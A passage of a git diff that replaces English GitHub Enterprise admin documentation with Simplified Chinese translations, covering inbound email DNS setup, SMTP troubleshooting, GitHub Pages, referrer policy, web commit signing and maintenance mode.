firewall settings to allow incoming emails +## 配置 DNS 和防火墙设置以允许传入的电子邮件 -If you want to allow email replies to notifications, you must configure your DNS settings. +如果您希望允许通知的电子邮件回复,则必须配置 DNS 设置。 -1. Ensure that port 25 on the instance is accessible to your SMTP server. -2. Create an A record that points to `reply.[hostname]`. Depending on your DNS provider and instance host configuration, you may be able to instead create a single A record that points to `*.[hostname]`. -3. Create an MX record that points to `reply.[hostname]` so that emails to that domain are routed to the instance. -4. Create an MX record that points `noreply.[hostname]` to `[hostname]` so that replies to the `cc` address in notification emails are routed to the instance. For more information, see {% ifversion ghes %}"[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications){% else %}"[About email notifications](/github/receiving-notifications-about-activity-on-github/about-email-notifications){% endif %}." +1. 确保您的 SMTP 服务器可以访问实例上的端口 25。 +2. 创建指向 `reply.[hostname]` 的 A 记录。 根据 DNS 提供商和实例主机配置,可以创建指向 `*.[hostname]` 的单个 A 记录。 +3. 创建一个指向 `reply.[hostname]` 的 MX 记录,以便发送到该域的电子邮件可以路由到实例。 +4. 创建一个将 `noreply.[hostname]` 指向 `[hostname]` 的 MX 记录,以便对通知电子邮件中 `cc` 地址的回复可以路由到实例。 有关详细信息,请参阅 {% ifversion ghes %}“[配置通知](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications){% else %}”[关于电子邮件通知](/github/receiving-notifications-about-activity-on-github/about-email-notifications){% endif %}。” -## Troubleshooting email delivery +## 排查电子邮件递送问题 -### Create a Support Bundle +### 创建支持包 -If you cannot determine what is wrong from the displayed error message, you can download a [support bundle](/enterprise/admin/guides/enterprise-support/providing-data-to-github-support) containing the entire SMTP conversation between your mail server and {% data variables.product.prodname_ghe_server %}. Once you've downloaded and extracted the bundle, check the entries in *enterprise-manage-logs/unicorn.log* for the entire SMTP conversation log and any related errors. +如果无法根据显示的错误消息确定什么地方出错,可以下载包含邮件服务器与 {% data variables.product.prodname_ghe_server %} 之间的整个 SMTP 对话的[支持包](/enterprise/admin/guides/enterprise-support/providing-data-to-github-support)。 在下载并提取支持捆绑包后,请检查 enterprise-manage-logs/unicorn.log 中的条目,查看整个 SMTP 对话日志和任何相关错误。 -The unicorn log should show a transaction similar to the following: +该独角兽日志应以类似于下面所示的方式显示事务: ```shell This is a test email generated from https://10.0.0.68/setup/settings @@ -152,18 +140,18 @@ TLS connection started -> "535 5.7.1 http://support.yourdomain.com/smtp/auth-not-accepted nt3sm2942435pbc.14\r\n" ``` -This log shows that the appliance: +此日志显示该设备: -* Opened a connection with the SMTP server (`Connection opened: smtp.yourdomain.com:587`). -* Successfully made a connection and chose to use TLS (`TLS connection started`). -* The `login` authentication type was performed (`<- "AUTH LOGIN\r\n"`). -* The SMTP Server rejected the authentication as invalid (`-> "535-5.7.1 Username and Password not accepted.`). +* 打开与 SMTP 服务器的连接 (`Connection opened: smtp.yourdomain.com:587`)。 +* 成功连接并选择使用 TLS (`TLS connection started`)。 +* 执行 `login` 身份验证类型 (`<- "AUTH LOGIN\r\n"`)。 +* SMTP 服务器拒绝无效身份验证 (`-> "535-5.7.1 Username and Password not accepted.`)。 -### Check {% data variables.location.product_location %} logs +### 检查 {% data variables.product.product_location %} 日志 -If you need to verify that your inbound email is functioning, there are two log files that you can examine on your instance: To verify that */var/log/mail.log* and */var/log/mail-replies/metroplex.log*. +如果需要验证入站电子邮件是否正常运行,可以在实例上检查两个日志文件:验证 /var/log/mail.log 和 /var/log/mail-replies/metroplex.log 。 -*/var/log/mail.log* verifies that messages are reaching your server. Here's an example of a successful email reply: +/var/log/mail.log 可以验证消息是否送达服务器。 下面是一个成功电子邮件回复的示例: ``` Oct 30 00:47:18 54-171-144-1 postfix/smtpd[13210]: connect from st11p06mm-asmtp002.mac.com[17.172.124.250] @@ -175,9 +163,9 @@ Oct 30 00:47:19 54-171-144-1 postfix/qmgr[17250]: 51DC9163323: removed Oct 30 00:47:19 54-171-144-1 postfix/smtpd[13210]: disconnect from st11p06mm-asmtp002.mac.com[17.172.124.250] ``` -Note that the client first connects; then, the queue becomes active. Then, the message is delivered, the client is removed from the queue, and the session disconnects. +请注意,客户端先连接,然后队列变成活动状态。 接着,消息递送,客户端从队列中移除,会话断开连接。 -*/var/log/mail-replies/metroplex.log* shows whether inbound emails are being processed to add to issues and pull requests as replies. Here's an example of a successful message: +/var/log/mail-replies/metroplex.log 可以显示入站电子邮件是否正在处理,以便作为回复添加到问题和拉取请求中。 下面是一个成功消息的示例: ``` [2014-10-30T00:47:23.306 INFO (5284) #] metroplex: processing @@ -185,19 +173,17 @@ Note that the client first connects; then, the queue becomes active. Then, the m [2014-10-30T00:47:23.334 DEBUG (5284) #] Moving /data/user/mail/reply/new/1414630039.Vfc00I12000eM445784.ghe-tjl2-co-ie => /data/user/incoming-mail/success ``` -You'll notice that `metroplex` catches the inbound message, processes it, then moves the file over to `/data/user/incoming-mail/success`.{% endif %} +你将注意到,`metroplex` 会捕获并处理入站消息,然后将文件移动到 `/data/user/incoming-mail/success`。{% endif %} -### Verify your DNS settings +### 验证 DNS 设置 -In order to properly process inbound emails, you must configure a valid A Record (or CNAME), as well as an MX Record. For more information, see "[Configuring DNS and firewall settings to allow incoming emails](#configuring-dns-and-firewall-settings-to-allow-incoming-emails)." +为了正确处理入站电子邮件,您必须配置有效的 A 记录(或 CNAME)和 MX 记录。 有关详细信息,请参阅“[配置 DNS 和防火墙设置,以允许传入电子邮件](#configuring-dns-and-firewall-settings-to-allow-incoming-emails)”。 -### Check firewall or AWS Security Group settings +### 检查防火墙或 AWS 安全组设置 -If {% data variables.location.product_location %} is behind a firewall or is being served through an AWS Security Group, make sure port 25 is open to all mail servers that send emails to `reply@reply.[hostname]`. +如果 {% data variables.product.product_location %} 位于防火墙后或者正在通过 AWS 安全组提供,请确保端口 25 对将电子邮件发送到 `reply@reply.[hostname]` 的所有邮件服务器开放。 -### Contact support -{% ifversion ghes %} -If you're still unable to resolve the problem, contact {% data variables.contact.contact_ent_support %}. Please attach the output file from `http(s)://[hostname]/setup/diagnostics` to your email to help us troubleshoot your problem. -{% elsif ghae %} -You can contact {% data variables.contact.github_support %} for help configuring email for notifications to be sent through your SMTP server. For more information, see "[Receiving help from {% data variables.contact.github_support %}](/admin/enterprise-support/receiving-help-from-github-support)." +### 联系支持人员 +{% ifversion ghes %}如果仍然无法解决问题,请联系 {% data variables.contact.contact_ent_support %}。 请在电子邮件中附上 `http(s)://[hostname]/setup/diagnostics` 的输出文件,便于我们助你排查问题。 +{% elsif ghae %} 可以联系 {% data variables.contact.github_support %} 寻求帮助,以配置通过 SMTP 服务器发送通知的电子邮件。 有关详细信息,请参阅“[从 {% data variables.contact.github_support %} 获取帮助](/admin/enterprise-support/receiving-help-from-github-support)”。 {% endif %} diff --git a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md index 13c0a766fb..07cad0fac6 100644 --- a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md +++ b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-github-pages-for-your-enterprise.md @@ -1,6 +1,6 @@ --- -title: Configuring GitHub Pages for your enterprise -intro: 'You can enable or disable {% data variables.product.prodname_pages %} for your enterprise{% ifversion ghes %} and choose whether to make sites publicly accessible{% endif %}.' +title: 为企业配置 GitHub Pages +intro: '您可以为企业{% ifversion ghes %} 启用或禁用 {% data variables.product.prodname_pages %} ,并选择是否使网站{% endif %}可公开访问。' redirect_from: - /enterprise/admin/guides/installation/disabling-github-enterprise-pages - /enterprise/admin/guides/installation/configuring-github-enterprise-pages @@ -17,76 +17,68 @@ topics: - Enterprise - Pages shortTitle: Configure GitHub Pages +ms.openlocfilehash: 1cb2bd78f006bfd86a3f0a2e42db4fcf2cea3b73 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145098112' --- - {% ifversion ghes %} -## Enabling public sites for {% data variables.product.prodname_pages %} +## 为 {% data variables.product.prodname_pages %} 启用公共站点 -If private mode is enabled on your enterprise, the public cannot access {% data variables.product.prodname_pages %} sites hosted by your enterprise unless you enable public sites. +如果在企业上启用了专用模式,则除非启用公用网站,否则公众无法访问企业托管的 {% data variables.product.prodname_pages %} 网站。 {% warning %} -**Warning:** If you enable public sites for {% data variables.product.prodname_pages %}, every site in every repository on your enterprise will be accessible to the public. +**警告:** 如果为 {% data variables.product.prodname_pages %} 启用公共站点,则企业上每个存储库中的每个站点均可由公众访问。 {% endwarning %} -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.pages-tab %} -4. Select **Public Pages**. - ![Checkbox to enable Public Pages](/assets/images/enterprise/management-console/public-pages-checkbox.png) -{% data reusables.enterprise_management_console.save-settings %} +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.pages-tab %} +4. 选择“公共页面”。 + ![启用“公共页面”的复选框](/assets/images/enterprise/management-console/public-pages-checkbox.png) {% data reusables.enterprise_management_console.save-settings %} -## Disabling {% data variables.product.prodname_pages %} for your enterprise +## 为企业禁用 {% data variables.product.prodname_pages %} -If subdomain isolation is disabled for your enterprise, you should also disable {% data variables.product.prodname_pages %} to protect yourself from potential security vulnerabilities. For more information, see "[Enabling subdomain isolation](/admin/configuration/enabling-subdomain-isolation)." +如果为企业禁用了子域隔离,则还应禁用 {% data variables.product.prodname_pages %},以免遭受潜在安全漏洞的攻击。 有关详细信息,请参阅“[启用子域隔离](/admin/configuration/enabling-subdomain-isolation)”。 -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.pages-tab %} -1. Unselect **Enable Pages**. - ![Checkbox to disable {% data variables.product.prodname_pages %}](/assets/images/enterprise/management-console/pages-select-button.png) -{% data reusables.enterprise_management_console.save-settings %} +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.pages-tab %} +1. 取消选择“启用页面”。 + ![禁用 {% data variables.product.prodname_pages %} 的复选框](/assets/images/enterprise/management-console/pages-select-button.png) {% data reusables.enterprise_management_console.save-settings %} {% endif %} {% ifversion ghae %} -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.policies-tab %} -{% data reusables.enterprise-accounts.pages-tab %} -1. Under "Pages policies", deselect **Enable {% data variables.product.prodname_pages %}**. - ![Checkbox to disable {% data variables.product.prodname_pages %}](/assets/images/enterprise/business-accounts/enable-github-pages-checkbox.png) -{% data reusables.enterprise-accounts.pages-policies-save %} +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.policies-tab %} {% data reusables.enterprise-accounts.pages-tab %} +1. 在“页面策略”下,取消选择“启用 {% data variables.product.prodname_pages %}”。 + ![禁用 {% data variables.product.prodname_pages %} 的复选框](/assets/images/enterprise/business-accounts/enable-github-pages-checkbox.png) {% data reusables.enterprise-accounts.pages-policies-save %} {% endif %} {% ifversion ghes > 3.4 %} -## Configuring {% data variables.product.prodname_pages %} response headers for your enterprise +## 为企业配置 {% data variables.product.prodname_pages %} 响应头 -You can add or override response headers for {% data variables.product.prodname_pages %} sites hosted by {% data variables.location.product_location %}. +你可以为 {% data variables.product.product_location %} 托管的 {% data variables.product.prodname_pages %} 站点添加或覆盖响应头。 {% warning %} -**Warning:** Ensure that your response headers are properly configured before saving. Improper configurations may negatively impact the security of {% data variables.location.product_location %}. +**警告:** 确保在保存前正确配置响应头。 配置错误可能会对 {% data variables.product.product_location %} 的安全性产生负面影响。 {% endwarning %} -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.pages-tab %} -1. Type the headers settings, then click **Add headers**. - - In the **Http Header Name** field, type the header name. The length of header name should less than 128 characters. - - In the **Http Header Value** field, type the header value. The length of header value should less than 300 characters. -![The {% data variables.product.prodname_pages %} response header name and value fields in the {% data variables.enterprise.management_console %}](/assets/images/enterprise/management-console/pages-override-header-section.png) -{% data reusables.enterprise_management_console.save-settings %} +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.pages-tab %} +1. 键入标头设置,然后单击“添加标头”。 + - 在“Http 标头名称”字段中,输入标头名称。 标头名称的长度应小于 128 个字符。 + - 在“Http 标头值”字段中,键入标头值。 标头值的长度应小于 300 个字符。 +![{% data variables.enterprise.management_console %} 中的 {% data variables.product.prodname_pages %} 响应头名称和值字段](/assets/images/enterprise/management-console/pages-override-header-section.png) {% data reusables.enterprise_management_console.save-settings %} {% endif %} {% ifversion ghes %} -## Further reading +## 延伸阅读 -- "[Enabling private mode](/admin/configuration/enabling-private-mode)" -{% endif %} +- “[启用专用模式](/admin/configuration/enabling-private-mode)”{% endif %} diff --git a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-the-referrer-policy-for-your-enterprise.md b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-the-referrer-policy-for-your-enterprise.md index ef1314f097..a81684ae15 100644 --- a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-the-referrer-policy-for-your-enterprise.md +++ b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-the-referrer-policy-for-your-enterprise.md @@ -1,7 +1,7 @@ --- -title: Configuring the referrer policy for your enterprise +title: 为企业配置引荐来源网址策略 shortTitle: Configure referrer policy -intro: 'You can increase the privacy of {% data variables.location.product_location %} by configuring the policy for cross-origin requests.' +intro: '您可以通过为跨域请求配置策略来增强 {% data variables.product.product_location %} 的隐私保护。' versions: ghes: '*' type: how_to @@ -10,29 +10,33 @@ topics: - Networking - Privacy - Security +ms.openlocfilehash: 4824e938e044a89e9d0e534564214c6a46ba44da +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147066488' --- +## 关于企业的引荐来源网址策略 -## About the referrer policy for your enterprise +引荐来源网址策略控制当有人访问从 {% data variables.product.product_location %} 到外部站点的链接时,{% data variables.product.product_name %} 在 HTTP 标头中传输的信息。 -The referrer policy controls the information that {% data variables.product.product_name %} transmits in HTTP headers when someone visits a link from {% data variables.location.product_location %} to an external site. +默认情况下,当 {% data variables.product.product_location %} 上的用户从你的实例上的文件或注释中访问指向另一个站点的链接时,请求会在 `Referer` 标头中以纯文本形式包含你的实例的主机名。 如果链接指向外部网站,则网站的所有者可以在请求或日志文件中读取您的实例的主机名。 -By default, when a user on {% data variables.location.product_location %} visits a link to another site from a file or comment on your instance, the request includes the hostname for your instance in plain text within the `Referer` header. If the link leads to an external website, the owner of the website could read the hostname for your instance in requests or log files. +您可以控制当用户从您的实例访问链接时 {% data variables.product.product_name %} 发送的信息。 -You can control the information that {% data variables.product.product_name %} sends when a user visits a link from your instance. +## 启用 `same-origin` 引荐者策略 -## Enabling the `same-origin` referrer policy - -You can enable the `same-origin` referrer policy to instruct modern browsers to exclude the hostname for {% data variables.location.product_location %} from requests to external websites. The setting applies to all links from the web interface on your instance. By default, {% data variables.product.product_name %} uses the `origin-when-cross-origin` and `strict-origin-when-cross-origin` referrer policies, which means your instance's hostname will appear in HTTP and HTTPS requests to external websites. +可以启用 `same-origin` 引荐者策略,以指示新式浏览器将 {% data variables.product.product_location %} 的主机名排除在对外部网站的请求之外。 该设置适用于实例上 Web 界面中的所有链接。 默认情况下,{% data variables.product.product_name %} 使用 `origin-when-cross-origin` 和 `strict-origin-when-cross-origin` 引荐者策略,这意味着实例的主机名将显示在对外部网站的 HTTP 和 HTTPS 请求中。 {% note %} -**Note**: Changing the referrer policy to `same-origin` can affect external sites that expect a hostname in the HTTP headers for a request. +注意:将引荐者策略更改为 `same-origin` 可能会影响要求请求的 HTTP 标头中有主机名的外部站点。 {% endnote %} -{% data reusables.enterprise-accounts.access-enterprise %} -{% data reusables.enterprise-accounts.settings-tab %} -1. Under "User Agent Referrer Policy", select **Enable same origin referrer policy for all organizations**. - ![Checkbox for enabling same origin referrer policy](/assets/images/enterprise/settings/referrer-policy-checkbox.png) -1. Click **Save**. - ![Save button for enabling same origin referrer policy](/assets/images/enterprise/settings/referrer-policy-save-button.png) +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} +1. 在“用户代理引荐者策略”下,选择“为所有组织启用同源引荐者策略”。 + ![用于启用同源引荐者策略的复选框](/assets/images/enterprise/settings/referrer-policy-checkbox.png) +1. 单击“ **保存**”。 + ![用于启用同源引荐者策略的“保存”按钮](/assets/images/enterprise/settings/referrer-policy-save-button.png) diff --git a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-web-commit-signing.md b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-web-commit-signing.md index 37a73bf097..3d44679d6f 100644 --- a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-web-commit-signing.md +++ b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/configuring-web-commit-signing.md @@ -1,7 +1,7 @@ --- -title: Configuring web commit signing +title: 配置 Web 提交签名 shortTitle: Configure web commit signing -intro: 'You can enable auto-signing of commits made in the web interface of {% data variables.product.product_name %}.' +intro: '可以在 {% data variables.product.product_name %} 的 Web 界面中启用提交自动签名。' versions: ghes: '>=3.5' type: how_to @@ -11,67 +11,62 @@ topics: - Fundamentals - Identity - Security -permissions: 'Site administrators can configure web commit signing for {% data variables.location.product_location %}.' +permissions: 'Site administrators can configure web commit signing for {% data variables.product.product_location %}.' +ms.openlocfilehash: 759b158235e5727b474441d10b33016b58277c7f +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147068032' --- +## 关于 Web 提交签名 -## About web commit signing +如果启用 Web 提交签名,{% data variables.product.product_name %} 将自动使用 GPG 对用户在 {% data variables.product.product_location %} 的 Web 界面上所做的提交进行签名。 由 {% data variables.product.product_name %} 签名的提交将具有已验证状态。 有关详细信息,请参阅“[关于提交签名验证](/authentication/managing-commit-signature-verification/about-commit-signature-verification)”。 -If you enable web commit signing, {% data variables.product.product_name %} will automatically use GPG to sign commits users make on the web interface of {% data variables.location.product_location %}. Commits signed by {% data variables.product.product_name %} will have a verified status. For more information, see "[About commit signature verification](/authentication/managing-commit-signature-verification/about-commit-signature-verification)." +可以启用 Web 提交签名,轮换用于 Web 提交签名的私钥,以及禁用 Web 提交签名。 -You can enable web commit signing, rotate the private key used for web commit signing, and disable web commit signing. - -## Enabling web commit signing +## 启用 Web 提交签名 {% data reusables.enterprise_site_admin_settings.create-pgp-key-web-commit-signing %} - - Use `web-flow` as the username. If `web-flow` is unavailable or unusable, use any new unique username. Use this username throughout the following steps in this article. - - If you have a no-reply email address defined in the {% data variables.enterprise.management_console %}, use that email address. If not, use any email address, such as `web-flow@my-company.com`. The email address does not need to be valid. -{% data reusables.enterprise_site_admin_settings.pgp-key-no-passphrase %} -{% data reusables.enterprise_site_admin_settings.pgp-key-env-variable %} -{% data reusables.enterprise_site_admin_settings.update-commit-signing-service %} -1. Enable web commit signing. + - 如果在 {% data variables.enterprise.management_console %} 中定义了无答复电子邮件地址,请使用该电子邮件地址。 如果没有,请使用任何电子邮件地址,例如 `web-flow@my-company.com`。 电子邮件地址不需要是有效的。 +{% data reusables.enterprise_site_admin_settings.pgp-key-no-passphrase %} {% data reusables.enterprise_site_admin_settings.pgp-key-env-variable %} {% data reusables.enterprise_site_admin_settings.update-commit-signing-service %} +1. 启用 Web 提交签名。 ```bash{:copy} ghe-config app.github.web-commit-signing-enabled true ``` -1. Apply the configuration, then wait for the configuration run to complete. +1. 应用配置,然后等待配置运行完成。 ```bash{:copy} ghe-config-apply ``` -1. Create a new user on {% data variables.location.product_location %} via built-in authentication or external authentication. For more information, see "[About authentication for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise)." - - The user's username must be the same username you used when creating the PGP key in step 1 above, for example, `web-flow`. - - The user's email address must be the same address you used when creating the PGP key. -{% data reusables.enterprise_site_admin_settings.add-key-to-web-flow-user %} -{% data reusables.enterprise_site_admin_settings.email-settings %} -1. Under "No-reply email address", type the same email address you used when creating the PGP key. +1. 通过内置身份验证或外部身份验证在 {% data variables.product.product_location %} 上创建新用户。 有关详细信息,请参阅“[关于企业身份验证](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise)”。 + - 用户的用户名必须是 `web-flow`。 + - 用户的电子邮件地址必须与用于 PGP 密钥的地址相同。 {% data reusables.enterprise_site_admin_settings.add-key-to-web-flow-user %} {% data reusables.enterprise_site_admin_settings.email-settings %} +1. 在“无答复电子邮件地址”下,键入用于 PGP 密钥的同一个电子邮件地址。 {% note %} - **Note:** The "No-reply email address" field will only be displayed if you've enabled email for {% data variables.location.product_location %}. For more information, see "[Configuring email for notifications](/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications#configuring-smtp-for-your-enterprise)." + 注意:仅当为 {% data variables.product.product_location %} 启用电子邮件时,才会显示“无答复电子邮件地址”字段。 有关详细信息,请参阅“[配置邮件通知](/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications#configuring-smtp-for-your-enterprise)”。 - {% endnote %} -{% data reusables.enterprise_management_console.save-settings %} + {% endnote %} {% data reusables.enterprise_management_console.save-settings %} -## Rotating the private key used for web commit signing +## 轮换用于 Web 提交签名的私钥 {% data reusables.enterprise_site_admin_settings.create-pgp-key-web-commit-signing %} - - Use the web commit signing user's username, for example, `web-flow`. - - Use the no-reply email address defined in the {% data variables.enterprise.management_console %}, which should be the same as the email address of the web commit signing user, for example, `web-flow`. -{% data reusables.enterprise_site_admin_settings.pgp-key-no-passphrase %} -{% data reusables.enterprise_site_admin_settings.pgp-key-env-variable %} -{% data reusables.enterprise_site_admin_settings.update-commit-signing-service %} -{% data reusables.enterprise_site_admin_settings.add-key-to-web-flow-user %} + - 使用 {% data variables.enterprise.management_console %} 中定义的无答复电子邮件地址,该地址应与 `web-flow` 用户的电子邮件地址相同。 +{% data reusables.enterprise_site_admin_settings.pgp-key-no-passphrase %} {% data reusables.enterprise_site_admin_settings.pgp-key-env-variable %} {% data reusables.enterprise_site_admin_settings.update-commit-signing-service %} {% data reusables.enterprise_site_admin_settings.add-key-to-web-flow-user %} -## Disabling web commit signing +## 禁用 Web 提交签名 -You can disable web commit signing for {% data variables.location.product_location %}. +可以为 {% data variables.product.product_location %} 禁用 Web 提交签名。 -1. In the administrative shell, run the following command. +1. 在管理 shell 中,运行以下命令。 ```bash{:copy} ghe-config app.github.web-commit-signing-enabled false ``` -1. Apply the configuration. +1. 应用配置。 ```bash{:copy} ghe-config-apply diff --git a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode.md b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode.md index fd5a8111b5..4226682a33 100644 --- a/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode.md +++ b/translations/zh-CN/content/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode.md @@ -1,6 +1,6 @@ --- -title: Enabling and scheduling maintenance mode -intro: 'Some standard maintenance procedures, such as upgrading {% data variables.location.product_location %} or restoring backups, require the instance to be taken offline for normal use.' +title: 启用和排定维护模式 +intro: '一些标准维护程序(例如升级 {% data variables.product.product_location %} 或还原备份)要求实例进入脱机状态才能正常使用。' redirect_from: - /enterprise/admin/maintenance-mode - /enterprise/admin/categories/maintenance-mode @@ -20,77 +20,80 @@ topics: - Maintenance - Upgrades shortTitle: Configure maintenance mode +ms.openlocfilehash: 45ac412b1ae13e69d710c4dd93072143f6ffa502 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146331766' --- -## About maintenance mode +## 关于维护模式 -Some types of operations require that you take {% data variables.location.product_location %} offline and put it into maintenance mode: -- Upgrading to a new version of {% data variables.product.prodname_ghe_server %} -- Increasing CPU, memory, or storage resources allocated to the virtual machine -- Migrating data from one virtual machine to another -- Restoring data from a {% data variables.product.prodname_enterprise_backup_utilities %} snapshot -- Troubleshooting certain types of critical application issues +某些操作类型要求你让 {% data variables.product.product_location %} 进入脱机状态并将其置于维护模式: +- 升级到新版本的 {% data variables.product.prodname_ghe_server %} +- 增加分配给虚拟机的 CPU、内存或存储资源 +- 将数据从一台虚拟机迁移到另一台虚拟机 +- 通过 {% data variables.product.prodname_enterprise_backup_utilities %} 快照还原数据 +- 排查某些类型的关键应用程序问题 -We recommend that you schedule a maintenance window for at least 30 minutes in the future to give users time to prepare. When a maintenance window is scheduled, all users will see a banner when accessing the site. +我们建议您至少将维护窗口排定在 30 分钟后,以便用户提前作好准备。 排定维护窗口后,所有用户在访问站点时都会看到横幅。 -![End user banner about scheduled maintenance](/assets/images/enterprise/maintenance/maintenance-scheduled.png) +![关于已排定维护的最终用户横幅](/assets/images/enterprise/maintenance/maintenance-scheduled.png) -When the instance is in maintenance mode, all normal HTTP and Git access is refused. Git fetch, clone, and push operations are also rejected with an error message indicating that the site is temporarily unavailable. In high availability configurations, Git replication will be paused. GitHub Actions jobs will not be executed. Visiting the site in a browser results in a maintenance page. +在实例进入维护模式后,所有正常 HTTP 和 Git 访问都会遭到拒绝。 Git 提取、克隆和推送操作也会被拒绝,并显示一条错误消息,指示站点暂时不可用。 在高可用性配置中,Git 复制将暂停。 GitHub Actions 作业不会执行。 在浏览器中访问该站点会显示维护页面。 -![The maintenance mode splash screen](/assets/images/enterprise/maintenance/maintenance-mode-maintenance-page.png) +![维护模式启动屏幕](/assets/images/enterprise/maintenance/maintenance-mode-maintenance-page.png) {% ifversion ip-exception-list %} -You can perform initial validation of your maintenance operation by configuring an IP exception list to allow access to {% data variables.location.product_location %} from only the IP addresses and ranges provided. Attempts to access {% data variables.location.product_location %} from IP addresses not specified on the IP exception list will receive a response consistent with those sent when the instance is in maintenance mode. +可以通过配置 IP 例外列表来执行维护操作的初始验证,以仅允许从提供的 IP 地址和范围访问 {% data variables.product.product_location %}。 尝试从未在 IP 例外列表中指定的 IP 地址访问 {% data variables.product.product_location %} 时收到的响应与实例处于维护模式时发送的响应一致。 {% endif %} -## Enabling maintenance mode immediately or scheduling a maintenance window for a later time +## 立即启用维护模式或排定在未来的某个时间进行维护 -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -2. At the top of the {% data variables.enterprise.management_console %}, click **Maintenance**. - ![Maintenance tab](/assets/images/enterprise/management-console/maintenance-tab.png) -3. Under "Enable and schedule", decide whether to enable maintenance mode immediately or to schedule a maintenance window for a future time. - - To enable maintenance mode immediately, use the drop-down menu and click **now**. - ![Drop-down menu with the option to enable maintenance mode now selected](/assets/images/enterprise/maintenance/enable-maintenance-mode-now.png) - - To schedule a maintenance window for a future time, use the drop-down menu and click a start time. - ![Drop-down menu with the option to schedule a maintenance window in two hours selected](/assets/images/enterprise/maintenance/schedule-maintenance-mode-two-hours.png) -4. Select **Enable maintenance mode**. - ![Checkbox for enabling or scheduling maintenance mode](/assets/images/enterprise/maintenance/enable-maintenance-mode-checkbox.png) -{% data reusables.enterprise_management_console.save-settings %} +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} +2. 在 {% data variables.enterprise.management_console %} 顶部,单击“维护”。 + ![“维护”选项卡](/assets/images/enterprise/management-console/maintenance-tab.png) +3. 在“Enable and schedule”下,决定立即启用维护模式还是排定在未来的某个时间进行维护。 + - 若要立即启用维护模式,请使用下拉菜单,然后单击“立即”。 + ![包含已选择立即启用维护模式的选项的下拉菜单](/assets/images/enterprise/maintenance/enable-maintenance-mode-now.png) + - 要排定在未来的某个时间进行维护,请使用下拉菜单,然后单击开始时间。 + ![包含已选择排定在两小时后进行维护的选项的下拉菜单](/assets/images/enterprise/maintenance/schedule-maintenance-mode-two-hours.png) +4. 选择“启用维护模式”。 + ![用于启用或计划维护模式的复选框](/assets/images/enterprise/maintenance/enable-maintenance-mode-checkbox.png) {% data reusables.enterprise_management_console.save-settings %} {% ifversion ip-exception-list %} -## Validating changes in maintenance mode using the IP exception list +## 使用 IP 例外列表在维护模式下验证更改 -The IP exception list provides controlled and restricted access to {% data variables.location.product_location %}, which is ideal for initial validation of server health following a maintenance operation. Once enabled, {% data variables.location.product_location %} will be taken out of maintenance mode and available only to the configured IP addresses. The maintenance mode checkbox will be updated to reflect the change in state. +IP 例外列表提供对 {% data variables.product.product_location %} 的受控和受限访问,这非常适合在执行维护操作后对服务器运行状况进行初始验证。 启用后,{% data variables.product.product_location %} 将退出维护模式,并且仅适用于配置的 IP 地址。 维护模式复选框将更新,以反映状态更改。 -If you re-enable maintenance mode, the IP exception list will be disabled and {% data variables.location.product_location %} will return to maintenance mode. If you just disable the IP exception list, {% data variables.location.product_location %} will return to normal operation. +如果重新启用维护模式,将禁用 IP 例外列表,并且 {% data variables.product.product_location %} 将恢复维护模式。 如果只是禁用 IP 